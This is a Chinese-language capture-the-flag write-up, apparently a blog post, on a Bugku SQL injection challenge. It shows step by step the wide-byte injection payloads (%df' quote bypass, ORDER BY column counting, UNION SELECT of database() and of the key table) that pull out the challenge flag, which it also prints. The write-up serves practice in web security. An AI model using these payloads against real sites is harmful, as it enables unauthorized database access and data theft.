bugku ctf sql注入 (宽字节注入毫无压力)

看一下这么一道题,分支比较低。

先进去看一下

 

 

让我们查询 id=1 的 string 字段 

 

那就、先给他加上  ?id=1

发现还是这个界面 呀

 

那如果换为  id=2   看一下结果

 

 

下面会 变成  空白的 ~~~~~~

那就只好用 ?id=1   这个了

 

正常注入   

/?id=1'
/?id=1'and 1=1%23
/?id=1'and 1=2%23

 

发现都没有反应  ,,

只好尝试  宽字节注入 

 

输入

/?id=1%df'

 

出现错误         那么  应该就是  宽字节注入了

 

验证一下

/?id=1%df' and 1=1%23      时   

正确

 

/?id=1%df' and 1=2%23     时

错误

 

 

确定就是宽字节注入

然后看一下有没有显示位

先查一下有几列

/?id=1%df' order by 2%23   正确

/?id=1%df' order by 3%23   错误       说明有2列

 

 

看显示位

/?id=1%df' order by 2%23

 

 

正好分别是   id   和   key

 

 

那再查一下 database     

/?id=1%df' and 1=2 union select 1,database()%23

 

 

发现数据库 名  为    sql5

 

这下就好办了   

题目要求 查询  key表   id=1   的string字段 内容

直接 构造 语句 

/?id=1%df' and 1=2 union select 1, string from sql5.key where id=1%23

 

发现 flag

54f3320dc261f313ba712eb3f13a1f6d

 

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值